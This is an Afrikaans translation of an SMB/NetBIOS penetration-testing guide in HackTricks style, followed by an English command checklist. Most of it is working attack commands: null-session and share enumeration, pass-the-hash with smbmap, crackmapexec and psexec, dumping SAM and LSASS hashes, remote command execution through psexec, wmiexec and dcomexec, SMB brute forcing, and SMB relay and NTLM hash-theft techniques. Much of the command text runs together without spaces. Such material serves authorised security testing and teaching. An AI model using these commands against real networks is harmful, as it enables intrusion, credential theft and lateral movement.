Die Netwerk Basiese Invoer/Uitvoer Stelsel** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en lessenaars binne 'n plaaslike area-netwerk (LAN) in staat te stel om met netwerkhardeware te interageer en die oordrag van data oor die netwerk te fasiliteer. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-name, wat tot 16 karakters lank kan wees en dikwels verskil van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n bevel uitreik om 'n ander toepassing (wat as die bediener optree) te "roep" deur gebruik te maak van TCP-poort 139.
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
Poort 445
Tegnies gesproke, word Poort 139 verwys as 'NBT oor IP', terwyl Poort 445 geïdentifiseer word as 'SMB oor IP'. Die akroniem SMB staan vir 'Server Message Blocks', wat ook bekend is as die Common Internet File System (CIFS). As 'n toepassingslaag-netwerkprotokol word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte moontlik te maak, en om verskeie vorms van kommunikasie tussen knooppunte op 'n netwerk te fasiliteer.
Byvoorbeeld, in die konteks van Windows, word daar beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Daarteenoor, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
Die Serverboodskapblok (SMB)-protokol, wat in 'n kliënt-bediener-model werk, is ontwerp vir die regulering van toegang tot lêers, gids en ander netwerkbronne soos drukkers en roeteryers. Primêr gebruik binne die Windows-bedryfstelselreeks, verseker SMB agteruitversoenbaarheid, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel toelaat om naadloos te interaksieer met dié wat op ouer weergawes loop. Daarbenewens bied die Samba-projek 'n gratis sagteware-oplossing wat SMB se implementering op Linux en Unix-stelsels moontlik maak, wat sodoende kruisplatform kommunikasie deur SMB fasiliteer.
Shares, wat willekeurige dele van die plaaslike lêerstelsel verteenwoordig, kan deur 'n SMB-bediener voorsien word, wat die hiërargie sienbaar maak vir 'n kliënt wat deels onafhanklik is van die werklike struktuur van die bediener. Die Toegangsbeheerlyste (ACL's), wat toegangsregte definieer, maak fynkorrelige beheer oor gebruikerstoestemmings moontlik, insluitend eienskappe soos uitvoer, lees, en volle toegang. Hierdie toestemmings kan aan individuele gebruikers of groepe toegewys word, gebaseer op die shares, en is afsonderlik van die plaaslike toestemmings wat op die bediener ingestel is.
IPC$ Share
Toegang tot die IPC$-aandeel kan verkry word deur 'n anonieme nul-sessie, wat interaksie met dienste wat blootgestel word deur genoemde pype, moontlik maak. Die nut enum4linux is nuttig vir hierdie doel. Behoorlik gebruik, maak dit die verkryging van die volgende moontlik:
Inligting oor die bedryfstelsel
Besonderhede oor die ouer domein
'n Samestelling van plaaslike gebruikers en groepe
Inligting oor beskikbare SMB-aandele
Die effektiewe stelselsekuriteitsbeleid
Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprofessionals om die sekuriteitspostuur van SMB (Serverboodskapblok)-dienste op 'n netwerk te assesseer. enum4linux bied 'n omvattende siening van die teikensisteem se SMB-omgewing, wat noodsaaklik is vir die identifisering van potensiële kwesbaarhede en om te verseker dat die SMB-dienste behoorlik beveilig is.
enum4linux-atarget_ip
Die bogenoemde bevel is 'n voorbeeld van hoe enum4linux gebruik kan word om 'n volledige opname teen 'n teiken gespesifiseer deur target_ip uit te voer.
Wat is NTLM
As jy nie weet wat NTLM is nie of as jy wil weet hoe dit werk en hoe om dit te misbruik, sal jy hierdie bladsy oor NTLM baie interessant vind waar hoe hierdie protokol werk en hoe jy dit kan benut, verduidelik word:
Bedieneropname
Skandeer 'n netwerk op soek na gasheers:
nbtscan-r192.168.0.1/24
SMB-bedienerweergawe
Om moontlike uitbuitings vir die SMB-weergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
Gebruik die MSF hulpmodule _auxiliary/scanner/smb/smb_version
Of hierdie skrips:
#!/bin/sh#Author: rewardone#Description:# Requires root or enough permissions to use tcpdump# Will listen for the first 7 packets of a null login# and grab the SMB Version#Notes:# Will sometimes not capture or will print multiple# lines. May need to run a second time for success.if [ -z $1 ]; thenecho"Usage: ./smbver.sh RHOST {RPORT}"&&exit; else rhost=$1; fiif [ !-z $2 ]; then rport=$2; else rport=139; fitcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo"exit"|smbclient-L $rhost 1>/dev/null2>/dev/nullecho""&&sleep.1
#Dump interesting informationenum4linux-a [-u "<username>"-p"<passwd>"]<IP>enum4linux-ng-A [-u "<username>"-p"<passwd>"]<IP>nmap--script"safe or smb-enum-*"-p445<IP>#Connect to the rpcrpcclient-U""-N<IP>#No credsrpcclient//machine.htb-Udomain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb--pw-nt-hashrpcclient-U"username%passwd"<IP>#With creds#You can use querydispinfo and enumdomusers to query user information#Dump user information/usr/share/doc/python3-impacket/examples/samrdump.py-port139 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/samrdump.py-port445 [[domain/]username[:password]@]<targetName or address>#Map possible RPC endpoints/usr/share/doc/python3-impacket/examples/rpcdump.py-port135 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/rpcdump.py-port139 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/rpcdump.py-port445 [[domain/]username[:password]@]<targetName or address>
Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets kan kry, as jy nie geloofsbriewe het nie, probeer om nul geloofsbriewe/gasgebruiker te gebruik.
smbclient--no-pass-L//<IP># Null usersmbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap-H<IP> [-P <PORT>]#Null usersmbmap-u"username"-p"password"-H<IP> [-P <PORT>]#Credssmbmap-u"username"-p"<NT>:<LM>"-H<IP> [-P <PORT>]#Pass-the-Hashsmbmap-R-u"username"-p"password"-H<IP> [-P <PORT>]#Recursive listcrackmapexecsmb<IP>-u''-p''--shares#Null usercrackmapexecsmb<IP>-u'username'-p'password'--shares#Guest usercrackmapexecsmb<IP>-u'username'-H'<HASH>'--shares#Guest user
Verbind/Lys 'n gedeelde lêer
#Connect using smbclientsmbclient--no-pass//<IP>/<Folder>smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient#List with smbmap, without folder it list everythingsmbmap [-u "username"-p"password"]-R [Folder] -H <IP> [-P <PORT>] # Recursive listsmbmap [-u "username"-p"password"]-r [Folder] -H <IP> [-P <PORT>] # Non-Recursive listsmbmap-u"username"-p"<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
Handmatig ontleed Windows-aandele en verbind daarmee
Dit mag moontlik wees dat jy beperk is om enige aandele van die gasheer-rekenaar te vertoon en wanneer jy probeer om hulle te lys, lyk dit asof daar geen aandele is om mee te verbind nie. Dit mag dus die moeite werd wees om handmatig met 'n aandeel te probeer verbind. Om die aandele handmatig te ontleed, wil jy dalk kyk vir reaksies soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. 'n nul-sessie of geldige geloofsbriewe). Hierdie kan aandui of die aandeel bestaan en jy nie toegang daartoe het nie, of dat die aandeel glad nie bestaan nie.
Gewone aandele name vir Windows teikens is
C$
D$
ADMIN$
IPC$
PRINT$
FAX$
SYSVOL
NETLOGON
(Gewone aandele name van Network Security Assessment 3de uitgawe)
Jy kan probeer om met hulle te verbind deur die volgende bevel te gebruik
smbclient-U'%'-N \\\\<IP>\\<SHARE># null session to connect to a windows sharesmbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
vir hierdie skrip (deur 'n nul-sessie te gebruik)
#/bin/baship='<TARGET-IP-HERE>'shares=('C$''D$''ADMIN$''IPC$''PRINT$''FAX$''SYSVOL''NETLOGON')for share in ${shares[*]}; dooutput=$(smbclient-U '%' -N \\\\$ip\\$share -c '')if [[ -z $output ]]; thenecho "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
elseecho $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)fidone
Voorbeelde
smbclient-U'%'-N \\\\192.168.0.24\\im_clearly_not_here# returns NT_STATUS_BAD_NETWORK_NAMEsmbclient-U'%'-N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Enumerateer aandele vanaf Windows / sonder derdeparty-hulpmiddels
PowerShell
# Retrieves the SMB shares on the locale computer.Get-SmbShareGet-WmiObject-Class Win32_Share# Retrieves the SMB shares on a remote computer.get-smbshare-CimSession "<computer name or session object>"# Retrieves the connections established from the local SMB client to the SMB servers.Get-SmbConnection
CMD-konsole
# List shares on the local computernetshare# List shares on a remote computer (including hidden ones)netview \\<ip>/all
Veral interessant van aandele is die lêers genaamd Registry.xml omdat hulle moontlik wagwoorde kan bevat vir gebruikers wat ingestel is vir outomatiese aanmelding via Groepbeleid. Of web.config lêers omdat hulle geloofsbriewe bevat.
Die SYSVOL-aandeel is leesbaar deur alle geautehtiseerde gebruikers in die domein. Daarin kan jy baie verskillende bat, VBScript, en PowerShell scriptsvind.
Jy moet die scripts daarin ondersoek aangesien jy moontlik sensitiewe inligting soos wagwoorde kan vind.
Lees Register
Jy kan dalk die register kan lees deur van die ontdekte geloofsbriewe gebruik te maak. Impacket reg.py stel jou in staat om dit te probeer:
crackmapexec kan opdragte uitvoer deur enige van mmcexec, smbexec, atexec, wmiexec te misbruik, met wmiexec as die verstek metode. Jy kan aandui watter opsie jy verkies om te gebruik met die parameter --exec-method:
apt-getinstallcrackmapexeccrackmapexecsmb192.168.10.11-uAdministrator-p'P@ssw0rd'-X'$PSVersionTable'#Execute Powershellcrackmapexecsmb192.168.10.11-uAdministrator-p'P@ssw0rd'-xwhoami#Excute cmdcrackmapexecsmb192.168.10.11-uAdministrator-H<NTHASH>-xwhoami#Pass-the-Hash# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}crackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--sam#Dump SAMcrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--lsa#Dump LSASS in memmory hashescrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--sessions#Get sessions (crackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--loggedon-users#Get logged-on userscrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--disks#Enumerate the diskscrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--users#Enumerate userscrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--groups# Enumerate groupscrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--local-groups# Enumerate local groupscrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--pass-pol#Get password policycrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-p'password'--rid-brute#RID brutecrackmapexecsmb<IP>-d<DOMAIN>-uAdministrator-H<HASH>#Pass-The-Hash
Beide opsies sal 'n nuwe diens skep (deur \pipe\svcctl via SMB te gebruik) op die slagoffer se masjien en dit gebruik om iets uit te voer (psexec sal 'n uitvoerbare lêer na ADMIN$ deel oplaai en smbexec sal na cmd.exe/powershell.exe wys en die lading in die argumente plaas --lêerlose tegniek--).
Meer inligting oor psexec en smbexec.
In kali is dit geleë op /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted./psexec.py [[domain/]username[:password]@]<targetName or address>./psexec.py-hashes<LM:NT>administrator@10.10.10.103#Pass-the-Hashpsexec \\192.168.122.66-uAdministrator-p123456Wwpsexec \\192.168.122.66-uAdministrator-pq23q34t34twd3w34t34wtw34t# Use pass the hash
Gebruik die parameter-k om teen kerberos te verifieer in plaas van NTLM
Voer stiekem 'n bevelskulp uit sonder om die skyf aan te raak of 'n nuwe diens te hardloop deur DCOM te gebruik via poort 135.
In kali is dit geleë op /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted./wmiexec.py [[domain/]username[:password]@]<targetName or address>#Prompt for password./wmiexec.py-hashesLM:NTadministrator@10.10.10.103#Pass-the-Hash#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
Deur parameter-k te gebruik, kan jy teen kerberos verifieer in plaas van NTLM.
#If no password is provided, it will be prompted./dcomexec.py [[domain/]username[:password]@]<targetName or address>./dcomexec.py-hashes<LM:NT>administrator@10.10.10.103#Pass-the-Hash#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
Dit word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toelaatbare pogings oorskry
nmap--scriptsmb-brute-p445<IP>ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMB oorplasing aanval
Hierdie aanval maak gebruik van die Responder toolkit om SMB-verifikasiesessies vas te vang op 'n interne netwerk, en oor te plaas na 'n teikenrekenaar. As die verifikasie sessie suksesvol is, sal dit jou outomaties in 'n sisteemshell plaas.
Meer inligting oor hierdie aanval hier.
SMB-Valstrik
Die Windows-biblioteek URLMon.dll probeer outomaties verifieer na die gasheer wanneer 'n bladsy probeer om toegang tot 'n paar inhoud te verkry via SMB, byvoorbeeld: img src="\\10.10.10.10\path\image.jpg"
Dit gebeur met die funksies:
URLDownloadToFile
URLDownloadToCache
URLOpenStream
URLOpenBlockingStream
Wat deur sommige blaaier en gereedskap (soos Skype) gebruik word
SMB-Valstrik met MitMf
NTLM Diefstal
Soortgelyk aan SMB Valstrik, kan die plant van skadelike lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-verifikasiepoging veroorsaak, wat die NetNTLMv2-hash toelaat om onderskep te word met 'n instrument soos Responder. Die hash kan dan offline gekraak word of gebruik word in 'n SMB oorplasingsaanval.
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'